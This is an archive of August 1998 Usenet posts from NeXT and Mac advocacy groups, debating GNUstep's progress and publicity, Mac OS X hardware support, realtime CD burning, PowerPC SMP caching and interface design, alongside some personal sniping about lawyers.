> In article <6pvp48$5m3$2@lwnws01.ne.highway1.com>, jkheit@mediaone.net
> says...
> > > Unless, of course, the lawyer was working on a contigency fee.
> > > In which case, the lawyer would get his thirty cents. And he'd
> > > have earned it all.
> >
> > You're very clever.
> >
> After having been ripped off in a lawsuit for $40,000 for a magazine I
> was on the board of directors on, where the lawyer for the class action
> SAID he would settle for only $40,000 because he knew I didn't do
> anything, and my lawyer informed me it would cost over $100,000 to fight
> and win, I take pleasure in doing anything I can to screw lawyers over.
Well with this new threat, I don't know how lawyers will sleep at night;
other than comfortably that is. Goodness, yet another good person that
doesn't like lawyers, something new under the sun. Gee, with all these
honest saints that *hire* lawyers to do things, and all these poor saints
that never do any wrong on the other end of the suit, it makes you wonder.
Gosh, all these good people that hate using lawyers, yet they are still used.
Hmmm, I wonder why? Why? Because scum use lawyers, just as likely, maybe
even moreso, than good folk. Lawyers, guns, same difference; it depends on
who uses them and why.
--
-- Thanks, be well, take care, later, John Kheit; self expressed --
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.advocacy
Subject: Re: Apple heading to obscurity?
Date: 4 Aug 1998 06:16:26 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6q68vq$d4r$2@lwnws01.ne.highway1.com>
References: <6q68fl$d4r$1@lwnws01.ne.highway1.com>
> Donald Brown <don.brown@cesoft.com> wrote in message
> <MPG.102e3ecc5608a225989a74@news.supernews.com>...
> > In article <6pvp48$5m3$2@lwnws01.ne.highway1.com>, jkheit@mediaone.net
> > says...
> > > > Unless, of course, the lawyer was working on a contigency fee.
> > > > In which case, the lawyer would get his thirty cents. And he'd
> > > > have earned it all.
> > >
> > > You're very clever.
> > >
> > After having been ripped off in a lawsuit for $40,000 for a magazine I
> > was on the board of directors on, where the lawyer for the class action
> > SAID he would settle for only $40,000 because he knew I didn't do
> > anything, and my lawyer informed me it would cost over $100,000 to fight
> > and win, I take pleasure in doing anything I can to screw lawyers over.
And that's the thanks he gets. Consider yourself lucky, that was either a
bad or a nice lawyer. Any other lawyer worth his salt would have made you
pay $90,000. :)
-- Thanks, be well, take care, later, John Kheit; self expressed --
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
Newsgroups: comp.os.linux.advocacy,gnu.misc.discuss,comp.sys.next.advocacy
Subject: Re: GNUstep anybody? [was: Re: GNOME was Re: unix store comparable to compusa, etc..]
References: <35AA603A.C7058111@ast.lmco.com> <35adca9d.8233612@nnrp.digex.net> <35b09397.102131197@nntp.netcruiser> <35b32a8f.11880501@nnrp.digex.net> <6omf68$48o@pell.pell.portland.or.us> <35ba7bdf.14800176@nnrp.digex.net> <slrn6r7n3r.1gb.cbbrowne@knuth.brownes.org> <6p32en$ecf$1@nnrp1.dejanews.com> <wsn3ebuzhmn.fsf@harper.uchicago.edu> <87ogui8pbx.fsf_-_@firetrap.csres.utexas.edu> <m2r9zedswv.fsf@mailhost.neuroinformatik.ruhr-uni-bochum.de> <87zpdn8p67.fsf_-_@dialin20.zdv.uni-mainz.de> <6q5n34$gp5$3@blue.hex.net> <01bdbf47$34aae480$98b5dccf@samsara>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35c69cbd.0@nnrp1.news.uk.psi.net>
Date: 4 Aug 98 05:31:41 GMT
"Jonathan Hendry" <jhendry@cmg.fcnbd.com> wrote:
>
>
>Christopher Browne <cbbrowne@news.hex.net> wrote in article
>> The elimination of DPS in MacOS X makes it questionable just how
>> interoperable the systems would be, which surely diminishes interest in
>> GNUStep.
>
>Actually, it should make it even easier. Without DPS, GnuStep just
>needs to duplicate the function-based API. With DPS, GnuStep needs
>to also provide a Postscript Interpreter, which is a hairy beast.
In fact - a bit of both.
The pdf (major) part of the new Apple api should be relatively trivial,
while their proprietory part may well be a pain to reverse-engineer.
But ... most applications wouldn't be using the proprietory code, so
they should port over quite easily.
So - the change should make most applications port mmore easily, but a
few applications much harder.
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 03 Aug 1998 23:07:01 -0700
Organization: EarthLink Network, Inc.
Distribution: world
Message-ID: <macghod-0308982307080001@sdn-ar-002casbarp139.dialsprint.net>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <6q14vb$5kn$1@andros.cygnus.com> <joe.ragosta-0308981526240001@wil66.dol.net> <6q5l9n$kr4$1@pale-rider.INS.CWRU.Edu>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <6q5l9n$kr4$1@pale-rider.INS.CWRU.Edu>, Jonathan Jacobs
<jxj24@po.cwru.edu> wrote:
> <concerned irritation>
<snip>
> <sarcasm>
<snip>
> Visit <http://www.evangelist.macaddict.com/>
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Guess that explains why you cant add a single point of fact to your post
and have to rely on sarcasm, and ad hominum attacks
From: far_no@spam.ix.netcom.com(Felipe A. Rodriguez)
Newsgroups: gnu.gnustep.discuss,comp.sys.next.programmer,comp.sys.next.advocacy,comp.os.linux.development
Subject: Another day, another GNUstep screenshot...
Date: 4 Aug 1998 10:16:01 GMT
Organization: ICGNetcom
Message-ID: <6q6n11$5bs@sjx-ixn10.ix.netcom.com>
For all those curious to see how the GNUstep project is progressing
I've posted a screenshot at:
http://pweb.netcom.com/~far/far.html
In the foreground you'll see the XRAW Workspace example which is
a GNUstep clone of the NeXTSTEP Workspace. And behind it is the
very new Edit example.
Despite the very early development stage of the Workspace example
performance is pretty good with the exception of the NSSplitView.
At the moment all you can actually do with the Workspace is browse
your local filesystem. The Edit example is at a very early stage
and does little more than allow simple editing of the text with
which it is initialized.
The examples are built using the gstep-xraw backend. To build the
examples you need the very latest GNUstep sources from the CVS
repository (a lot of what you see has been committed within the past
few days). For more info on GNUstep: http://www.gnustep.org
And if anyone is interested we need volunteers.
--
Felipe A. Rodriguez # Francesco Sforza became Duke of Milan from
Agoura Hills, CA # being a private citizen because he was
# armed; his successors, since they avoided
far@ix.netcom.com # the inconveniences of arms, became private
(NeXTmail preferred) # citizens after having been dukes.
(MIMEmail welcome) # --Nicolo Machiavelli
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Tue, 4 Aug 1998 17:22:11 +1000
Organization: University of Queensland
Message-ID: <6q6cr8$lhq$1@bunyip.cc.uq.edu.au>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net><6ot75m$16j$1@lwnws01.ne.highway1.com><Josh.McKee-1907981309250001@pm3a13.rmac.net><6ovhg8$qsp@newsb.netnews.att.com><Josh.McKee-2107981856040001@pm3a15.rmac.net><6p45f7$l73$1@nnrp1.dejanews.com><Josh.McKee-2307981802510001@pm3a8.rmac.net><6p9ami$olq$1@nnrp1.dejanews.com><Josh.McKee-2407981743100001@pm3a13.rmac.net><6pc9b1$8qd$1@nnrp1.dejanews.com><Josh.McKee-2507980855240001@pm3a23.rmac.net><6pd4o8$pn2$1@bunyip.cc.uq.edu.au><Josh.McKee-2607981000010001@pm3a6.rmac.net><6pflf6$9t8$1@bunyip.cc.uq.edu.au> <35BFC76E.109C@geocities.com><6ppbmg$m1p$1@bunyip.cc.uq.edu.au><joe.ragosta-3007980854080001@wil34.dol.net><6pput9$vsd$1@bunyip.cc.uq.edu.au><joe.ragosta-3007981125390001@wil47.dol.net><6prd75$cp2$1@bunyip.cc.uq.edu.au> <6psqkp$ecf$2@news.spacelab.net><6pssmm$uqs$1@bunyip.cc.uq.edu.au> <SCOTT.98Aug3100310@slave.doubleu.com>
Scott Hess <scott@nospam.doubleu.com> wrote in message
SCOTT.98Aug3100310@slave.doubleu.com...
>In article <6pssmm$uqs$1@bunyip.cc.uq.edu.au>,
> "Christopher Smith" <drsmithy@usa.net> writes:
> Charles W. Swiger <chuck@codefab.com>,
> wrote in message 6psqkp$ecf$2@news.spacelab.net...
> >Burning CD's is a hard realtime task-- if you underrun the buffer,
> >you get a coaster. By not allowing the system to context switch,
> >this Mac CD-writing program is guaranteeing that it will
> >successfully create a usable CD.
>
> By rendering the rest of the system useless. My NT system
> guarantees the CDR program the CPU time it needs as well - by
> setting the priority high enough to pre-empt other programs.
>
>"Setting task priority high" is not equivalent to "hard real time", as
>any OS textbook will tell you. Setting the priority high simply makes
>it more likely that when the CDR program needs the system to pay
>attention, it will be paying attention. The resulting reduction in
>coaster count is simply a probability thing - _not_ a guarantee.
Ok, I used an absolute when I shouldn't have :\. My point was that
rendering the entire system useless should not be necessary, given a few
basic thing explained to the user. I will also say that I have not yet had
a coaster due to a buffer underrun in over 300 CDs, and I do the
QUake+CD-writing thing on a fairly regular basis.
>
>A hard realtime system would allow the CDR program to specify the
>parameters of the attention it needs from the OS. It wouldn't say
>"Give me all the attention you can spare," it would say "I need 1000
>cycles every 50 ms," or "I need to push 10kbytes out a certain port
>every 50 ms." And then it would _get_ that attention.
>
>Later,
>--
>scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
><Favorite unused computer book title: The Compleat Demystified Idiots
> Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: pseelig@mail.Uni-Mainz.de (Paul Seelig)
Newsgroups: gnu.misc.discuss,comp.sys.next.advocacy,gnu.gnustep.discuss
Subject: Re: How to get noticed
Supersedes: <87k94pqpi6.fsf@dialin146.zdv.uni-mainz.de>
Followup-To: gnu.misc.discuss,comp.sys.next.advocacy,gnu.gnustep.discuss
Date: 04 Aug 1998 10:08:56 +0200
Organization: En Casa S.A.
Message-ID: <877m0pqicn.fsf@dialin146.zdv.uni-mainz.de>
References: <9808031959.AA00351@tiptree.brainstorm.co.uk>
<35C62DFA.22DDC987@virgin.net>
Mime-Version: 1.0 (generated by tm-edit 7.108)
Content-Type: text/plain; charset=US-ASCII
julian.morrison@virgin.net (Julian Morrison) writes:
> > > - GNUStep has terrible publicity; they aren't creating the necessary
> > > hype and turning out the necessary quantity of working, compilable
> > > betas to get people involved.
>
> Post more articles to slashdot. Get someone to build *some* sort of working
> program with what GNUstep you already have (even if it's little more than a
> "hello world") so that people can see *how* its done. In particular, try to get
> GNU distributed objects out into the public eye, as it is a showstopper
> technology.
>
The only way to get noticed is by making oneself heard. Slashdot is
famed to be generating a so called "slashdot effect", which in my
humble understanding is about creating a severe flood of hits on web
servers by a large croowd of interested people. At the moment
/. seems to be the primary means for getting attention for one's
project.
The only thing i know about NeXTstep/GNUstep are the respective web
sites, a german book about NeXTstep from 1991, my most beloved window
manager under Debian Linux "WindowMaker", the NeXT machines with this
fantastic DPS at work and the knowledge and last not least the fact,
that readily available GNUstep version 0.5 packages are delivered with
Debian-2.0. Above all i know at least from one NeXT programmer who's
pondering to release his formerly commercial music program under GPL.
This would probably be one of the first killer apps for GNUstep if it
ever becomes reality:
http://mail.contrib.com:8080/melonSoft/MusicBuilder.html
While i'm a contributing Debian package maintainer i'm foremostly a
Linux/Unix user without any programmer's skills who just can't accept
the idea to see the free desktop given away for some Win95ish projects
lacking most of the great useability features of NeXTstep. And
obviously GNUstep is the way to go, but it is far too slowly moving
along for lack of programmers doing all the dirty work to get it
implemented. The success of KDE/GNOME is mostly derived from it's
attractiveness created by loud and clear publicity and this is IMHO
still lacking for GNUstep.
GNUstep has to open up it's doors via a CVS repository and make itself
known via /. ASAP, but IMHO only *after* having a readily running CVS.
GNUstep has to provide a certain level of readily available services
and code to attract people to contribute. This is the important
lesson Netscape/KDE/GNOME have been teaching in the past.
Since i'm not very happy about KDE's/GNOME's Win95ishness i was
thinking along the lines of writing a small essay for /. on my very
own, but it seems that my small posting to gnu.misc.discuss has
resulted in some kind of domino effect all by it's own. :-)
While i might try to get an essay done for /. i don't really feel
competent enough to write a meaningful text about GNUstep/NeXTstep.
I'd strongly suggest someone from the core developers team should step
forward and write an esssay for /. based on his/her in depth knowledge
regarding GNUstep and it's many advantages over mere desktop
environments like KDE and GNOME.
Thank you, P. *8^)
PS: x-posted to gnu.misc.discuss,comp.sys.next.advocacy,gnu.gnustep.discuss
--
--------- Paul Seelig <pseelig@goofy.zdv.uni-mainz.de> -----------
African Music Archive - Institute for Ethnology and Africa Studies
Johannes Gutenberg-University - Forum 6 - 55099 Mainz/Germany
--------------- http://www.uni-mainz.de/~pseelig -----------------
From: Paul Seelig <pseelig@karlo.zdv.Uni-Mainz.DE>
Newsgroups: gnu.gnustep.discuss,comp.sys.next.programmer,comp.sys.next.advocacy
Subject: Re: Another day, another GNUstep screenshot...
Date: Tue, 4 Aug 1998 14:04:07 +0200
Organization: Johannes Gutenberg-Universitaet Mainz, Germany
Message-ID: <Pine.OSF.3.95.980804140038.10841A-100000@karlo.zdv.Uni-Mainz.DE>
References: <6q6n11$5bs@sjx-ixn10.ix.netcom.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
To: discuss-gnustep@gnu.org
In-Reply-To: <6q6n11$5bs@sjx-ixn10.ix.netcom.com>
On 4 Aug 1998, Felipe A. Rodriguez wrote:
> For all those curious to see how the GNUstep project is progressing
> I've posted a screenshot at:
>
> http://pweb.netcom.com/~far/far.html
>
It's good to see that GNUstep development is alive and progressing. Thanks
for this very nice screenshot.
Cheers, P. *8^)
--
Paul Seelig pseelig@goofy.zdv.uni-mainz.de
African Music Archive - Institute for Ethnology and Africa Studies
Johannes Gutenberg-University - Forum 6 - 55099 Mainz/Germany
Our WWW pages to be visited at "http://www.uni-mainz.de/~bender"
Date: Tue, 04 Aug 1998 08:17:54 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-0408980817540001@wil67.dol.net>
References: <joe.ragosta-0308982001190001@elk108.dol.net> <B1EBAB08-13DF76@206.165.43.29>
In article <B1EBAB08-13DF76@206.165.43.29>, "Lawson English"
<english@primenet.com> wrote:
> Joe Ragosta <joe.ragosta@dol.net> said:
>
> >IBM tested a 750 AIX server a year ago. What the heck does that have to do
> >with whether the G4s will be out early next year?
>
>
>
> But was it a 4-way SMP model. The orginal article suggested that this 4-way
> RS/6000 workstation was using the SOI technology, which is brand new.
It said that the 4 way server was demoed in May, 1997.
>
> Just as the 750's pushed the 604e's out of the market because it was faster
> than expected, perhaps the SOI-based 750's will crowd the low-end G4
> market, delaying the introduction of the hotter, more expensive G4 CPUs
> until they are clearly faster.
And what makes you think a 600 MHz G4 (with AltiVec, no less) won't be
faster than a 1 GHz G3?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Tue, 04 Aug 1998 08:15:52 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.advocacy
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-0408980815530001@wil67.dol.net>
References: <6q68fl$d4r$1@lwnws01.ne.highway1.com>
In article <6q68fl$d4r$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> Gosh, all these good people that hate using lawyers, yet they are still
used.
> Hmmm, I wonder why? Why? Because scum use lawyers,
Hmmm. Strong words from someone who publicly threatens to sue people on Usenet.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.advocacy
Subject: Re: Apple heading to obscurity?
Date: 4 Aug 1998 13:32:49 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6q72i1$t33$1@lwnws01.ne.highway1.com>
References: <6q68fl$d4r$1@lwnws01.ne.highway1.com> <joe.ragosta-0408980815530001@wil67.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <6q68fl$d4r$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net
> wrote:
> > Gosh, all these good people that hate using lawyers, yet they
> > are still
> used.
> > Hmmm, I wonder why? Why? Because scum use lawyers,
>
> Hmmm. Strong words from someone who publicly threatens to sue
> people on Usenet.
Strong and consistent. You cut the qualifier off when you snipped the above
out of context. I'm not saying lawyers are saints by any stretch, but in
large part I see them as tools. This tool can be used by good people for
good things (mushing bad people), and they can be used by bad people for bad
things (mushing good people). I saw your misrepresentation as a bad thing.
Mushing you for your bad deeds without a show of remorse or conciliation
would have been my Christian duty at that point.
--
-- Thanks, be well, take care, later, John Kheit; self expressed --
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: paul_lucente@merck.com (Paul Lucente)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Tue, 04 Aug 1998 09:39:07 -0400
Organization: Merck & Co.
Message-ID: <paul_lucente-ya02408000R0408980939070001@merck.com>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <ckoller-0208982346530001@38.los-angeles-09.ca.dial-access.att.net> <macghod-0308981202310001@sdn-ar-001casbarp248.dialsprint.net> <ckoller-ya02408000R0308981603300001@netnews.worldnet.att.net> <id_est-0308982052240001@192.168.1.3>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <id_est-0308982052240001@192.168.1.3>, id_est@interport.net
(tse_di) wrote:
> OK, here's one. Today I restarted an NT box. I had wanted to test some RAM
> out in it. It ended up with the same RAM that it started out with. It
> went to the Blue Startup Screen and then announced that the OLE32.dll file
> may be corrupted, the header checksum didn't match the calculated one and
> it stopped. Nothing changed in the configuration (there is still only the
> orginal configuration listed), nothing was installed or removed. It was
> just restarted. Now it would be nice to know what exactly to do in a
> situation like this apart from reinstall Windows NT. Replacing the file
> with the orginal isn't possible as the machine can't even startup. The
> disks are formatted with NTFS so you can't just use a DOS disk as it
> doesn't recognize the disks. It can't boot of a CD or a ZIP. The NT
> "emergency" disk was damaged somehow as floppies somehow seem to be. So
> apart from reinstalling the whole damn thing what does one do in a
> situation like this.
What happened when you rebooted into Safe mode?
Do you have other PCs around? If you really don't want to have to
reinstall NT, you can pop the drive into another NT box, and copy that file
from the "good" drive. Much quicker than reinstalling.
For future reference, check out http://www.sysinternals.com/, they have
some great tools for such scenarios as yours. In your case, ERD commander
would have been perfect.
Paul
The contents of this message express only the sender's opinion.
This message does not necessarily reflect the policy or views of
my employer, Merck & Co., Inc. All responsibility for the statements
made in this Usenet posting resides solely and completely with the
sender.
From: "Jeffrey S. Dutky" <dutky@bellatlantic.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Tue, 04 Aug 1998 09:48:11 -0400
Organization: Bell Atlantic Internet Solutions
Message-ID: <35C71113.5BEC@bellatlantic.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Earl Malmrose wrote:
>
> Ok, now a contest. I'll come up with a stupid thing for
> a programmer to do that will crash MacOS. You come up
> with one for, I'll be generous, Win95. Ready, go.
>
> strcpy((char *)0, "I win the contest, boy was that extremely
> easy to do.");
>
Try again. When compiled under Metrowerks Codewarrior Pro 3
the resulting App quits silently. No matter how many times
it is run, the MacOS does NOT crash. You should at least try
your code examples before crowing about how easy it was to
accomplish. Tsk, tsk. Or did you try this on Windows and just
figure that it would lock up the MacOS just as easily?
I'm a little suprised that the app quit SILENTLY, normally
the finder likes to inform you that "Application such-and-such
has quit unexpectedly, blah, blah, blah..." when a program
does some such bone headed thing. I suspect that the Metrowerks
standard library implementation of strcpy() checks for NULL
pointer arguments and kills the offending app when it finds
them, which might qualify as a "normal exit" to MacOS.
A better crash-app would be one that allocates an array on
the stack, then writes data off the ends of the array. Oh, but
this would kill Windows just as easily as it would the Mac, and
we CAN'T have THAT!
- Jeff Dutky
From: jak@ccur.com (Joe Korty)
Newsgroups: comp.sys.next.advocacy,comp.arch
Subject: Re: 4-way PPC 750
Date: 4 Aug 1998 13:57:15 GMT
Organization: Concurrent Computer Corp, Ft. Lauderdale, FL
Message-ID: <6q73vr$n3h@hawk-hcsc.hcsc.com>
References: <6q53ln$la2@newsb.netnews.att.com>
gupta@kcopsrm.tm.tta.moc-mirror after @ writes:
>I had thought that it was difficult to build a 2-way PPC 750
>machine, and impossible to build more than that. This is the
>impression I received from newsgroups, etc.
It's interesting that you should bring this up. I just finished
comparing the ppc 750 with the 604e and concluded that it was barely
suitable for SMP. The ppc 750 doesn't allow cache line sharing of
unmodified data between processors.
Cache line sharing permits the design of spinlock algorithms that spin
`out-of-cache'; that is, as they spin the read of the lock state is
continously fetched from cache rather than memory, until it is
invalidated by a write from another processor releasing the lock.
Without cache line sharing cache thrashing occurs whenever two or more
processors are spinning on the same spin lock. The reads from each of
the processors approximately interleave, continually invalidating each
other's cache, resulting in a flood of continuous invalidate & read
operations that saturates the memory bus.
The effects of thrashing can be minimized by arranging spinlock usage to
reduce the possibility of two or more processors spinning on the same
lock. This can be accomplished via fine grained semaphoring, using
sleep semaphores instead of spinlocks wherever possible, and by
arranging the code under locks to execute as fast as possible (eg,
substitute hash table lookup for simple loops, etc).
Joe
From: Kari L Beischer <kari@gti.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.advocacy
Subject: Re: Apple heading to obscurity?
Date: 4 Aug 1998 14:57:10 GMT
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <6q77g6$sme$1@supernews.com>
References: <6q68fl$d4r$1@lwnws01.ne.highway1.com> <joe.ragosta-0408980815530001@wil67.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <6q68fl$d4r$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net
> wrote:
> > Gosh, all these good people that hate using lawyers, yet they
> > are still used. Hmmm, I wonder why? Why? Because scum use
> > lawyers,
> Hmmm. Strong words from someone who publicly threatens to sue
> people on Usenet.
Ah ha! I finally figured out what your posts remind me of.... you
know, those rag sheets like the Nat'l Inquirer and the Star that
always line the aisles at the checkout in the supermarkets?... yes
the ones that take normal stories and distort the truths for monetary gain.
It's an old game and getting really boring, Strange thing... for the life
of me I can not figure out what your gain is.....
--
Thanks, Kari Beischer
____________________________________________________________________
AT&T ASCII, MIME, PGP, SUN, & NeXTmail OK
Systems mailto:kari@gti.net
Development to want is natural, to need is negotiable...
____________________________________________________________________
Opinions expressed are mine, not those of my employer...
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 03 Aug 1998 21:00:49 +0100
Organization: EarthLink Network, Inc.
Message-ID: <35C616E8.62EA@earthlink.net>
References: <not-0108981650140001@ip-26-120.phx.primenet.com> <B1E934CC-10178@206.165.43.137> <slrn6s9r2h.1n2.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
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Matt Kennel wrote:
> http://developer.apple.com/macosx/server/rhapfaq/3.html
>
> When will Rhapsody first deliver SMP?
>
> Rhapsody will not support SMP.
> SMP support will be delivered with Mac OS X.
>
> Created: 10/8/97
> Modified: 6/20/98
>
Interesting that they won't support SMP until Mac OS X which will be G3
only which doesn't support SMP. HAHAHAHAHAHAHAHAHA!
Guess all of us with pre-G3 Macs, even with two or more processors will
have to sit this one out until G4 or G5.
C'mon Apple, stop the madness!
Steve
-------------------------------------------------------------
Support pre-G3's with Mac OS X!!!!!!
http://www.xlr8yourmac.com/osx_petition.html
-------------------------------------------------------------
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 04 Aug 1998 10:27:29 -0500
Organization: Ericsson North America Inc.
Message-ID: <35C72861.4F077A1D@ericsson.com>
References: <35C5E454.36ECA327@exu.ericsson.se> <1998080402232200.WAA22534@ladder03.news.aol.com>
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WillAdams wrote:
>
> MJP - Have you read _Tog on Software_?
No, but it's my own fault, since it's been recommended before. It seems
I should not make this mistake again.
> There's a lengthy discussion in it on gestural interfaces and how different
> hand motions could be used to specify different drag and drop actions.
This sounds like fun. I always thought of the original MacOS interface
as encapsulating, more than anything else, the concept of gestures. It
was always "do this with this" or "do that now". Drag-and-drop is
nothing more than a natural extension of that concept; in fact, when I
first heard of it I remember thinking "Haven't we been doing this all
along?" And we had, really. We just hadn't built the internal mechanisms
to handle gestures on a broad scale in a predictable way across all
applications.
It seems that the mouse is pivotal to specifying locations and objects.
But the mouse is horrible at anything but locational specificity.
Three-button mice are great, but any more would be a waste (I like my
4-button Kensington, but I never use the fourth button; my fingers are
too clumsy). So the answer is to use the keyboard or, as you mention
below, chording devices, which provide a rich language of modifiers and
additives to overload mouse movement.
> I think that the Win95 right mouse button drag intimates some of the potential
> of such capabilities, and would like to see it exploited more in a system with
> three mouse buttons, or chording, or additional keyboard mods.
Any system that can pull off a rich new language of input, like you're
describing, will really get my attention. Lots of attention today is
given to VR and force-feedback; while good ideas, I think they are
symbolic of our desire to eat dessert before the meal. When we have
learned to make effective use of our existing tools, we will be truly
poised to jump into immersive (expensive) tools like VR. For goodness'
sake, we're still playing Quake with arrow keys. Friends of mine used to
jam a quarter under the shift key so that their character was always
running. Let's get some perspective. :-)
MJP
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 04 Aug 1998 10:41:22 -0500
Organization: Ericsson North America Inc.
Message-ID: <35C72BA2.F645A6CA@ericsson.com>
References: <35c15e97.0@nnrp1.news.uk.psi.net> <23935-35C18CB9-174@newsd-124.bryant.webtv.net>
<35c1cc00.0@nnrp1.news.uk.psi.net> <35C1F29C.15D02625@exu.ericsson.se>
<6pt3sq$5sv$1@lwnws01.ne.highway1.com> <fnww1.16408$7k7.13463314@news.rdc1.sdca.home.com>
<35C5E454.36ECA327@exu.ericsson.se> <Q_vx1.18322$7k7.15161830@news.rdc1.sdca.home.com>
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rr6013@yahoo.com wrote:
> This point is perceptive and one which I could strongly second. But to be
> fair... your interface "style" was developed over time , learned across
> mulitple OS'es and matured past the pedantic Mac interface and improved NeXT.
Well, I also recognize that no matter how good they get, most people
will never like my interface style. That doesn't bother me; I'm sure
they'll like something of similar complexity. It's the complexity and
collateral effectiveness that I want to see.
> A "real" artist once explained why people actually like flourescent velvet
> Elvis art. Everyone has to develop an appreciation for art. You gotta start
> someplace...
Yeah, I'm there with you. It's not that people are stupid; my father
reminded me last night that "we're all ignorant; it's just in different
areas".
> That neither Apple nor NeXT ever extended their interface options is a
> marketing deadman. I can even understand why it may be a conscious decision.
> Your point remains... it is an immature hardware philosophy to build a
> "computer for the rest of us" without regard to a future Corporate growth
> path...
But I remember this program called Sloop on MacOS that basically made it
act like an X11 window manager and gave it a ton of options like
focus-follows-mouse and auto-raise and other "stuff". Not that this
would be the pinnacle of interfaces, but at least it gave the user a
billion more ways to be productive. Why not build this stuff in? I love
it. Every time I use a Mac or Windows box I grind my teeth in
frustration that I have to click on the title bar to move the freakin'
window. Why can't I just Alt-Button1?
But no. The Next Big Thing is -- God help us -- "Themes". Turn my
desktop into a screensaver, or a menagerie of little electronic animals.
Just what I always wanted to be, the Digital Zookeeper. Sheesh.
Anyway...
MJP
PS. To be fair, I accidentally left Sloop running on my mother's Mac
when I tried it out, and when I was over the next day she was
certifiably insane after 24 hours of trying to understand why her Mac
was acting so funny. Maybe it's better to keep power out of the hands of
the weak and the innocent. :-)
Date: Tue, 04 Aug 1998 11:39:51 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.advocacy
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-0408981139510001@wil56.dol.net>
References: <6q68fl$d4r$1@lwnws01.ne.highway1.com> <joe.ragosta-0408980815530001@wil67.dol.net> <6q77g6$sme$1@supernews.com>
In article <6q77g6$sme$1@supernews.com>, kari@gti.net wrote:
> joe.ragosta@dol.net (Joe Ragosta) wrote:
> > In article <6q68fl$d4r$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net
> > wrote:
>
> > > Gosh, all these good people that hate using lawyers, yet they
> > > are still used. Hmmm, I wonder why? Why? Because scum use
> > > lawyers,
>
> > Hmmm. Strong words from someone who publicly threatens to sue
> > people on Usenet.
>
> Ah ha! I finally figured out what your posts remind me of.... you
> know, those rag sheets like the Nat'l Inquirer and the Star that
> always line the aisles at the checkout in the supermarkets?... yes
